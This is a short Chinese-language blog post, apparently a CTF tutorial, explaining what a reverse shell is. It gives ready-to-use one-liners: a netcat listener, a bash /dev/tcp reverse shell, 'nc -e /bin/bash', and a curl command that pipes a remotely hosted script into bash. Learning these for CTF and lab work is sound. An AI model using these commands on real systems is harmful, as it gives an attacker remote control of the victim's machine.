2021-10-08-反弹shell在CTF中的应用

反弹shell

反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

在CTF中就是题目端是被控制端,自己服务器是控制端,题目段生成一个反向shell,然后服务器端去连接,将题目端的输入输出转到了自己的服务器上,获得bash,实现反向连接。

方法一:使用linux命令反弹shell

使用场景:命令执行,但是没有回显的情况。

  • 服务器端:nc -lvp 6767

  • 题目端: bash -i >& /dev/tcp/服务器端ip/port 0>&1

image-20211008200456364.png
方法二:curl命令反弹shell
  • 服务器端:首先在/var/www/html目录下创建一个文本文件shell.txt 写入bash一句话:bash -i >& /dev/tcp/192.168.20.151/7777 0>&1;之后开始监听:nc -lvp port
  • 题目端:curl http://174.1.73.154/shell.txt|bash
1491122-20190402162501019-1906622321.png
方法三:nc命令反弹shell
  • 服务器端:nc -lvp port

  • 题目端:nc -e /bin/bash x.x.x.x port

方法四:脚本反弹
  • python

  • php

  • java

  • ruby

参考资料

https://zhuanlan.zhihu.com/p/138393396

https://www.cnblogs.com/-zhong/p/11398877.html

https://www.cnblogs.com/p0pl4r/p/10643541.html

https://zhuanlan.zhihu.com/p/357794600

https://blog.csdn.net/qq_45521281/article/details/105351352

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。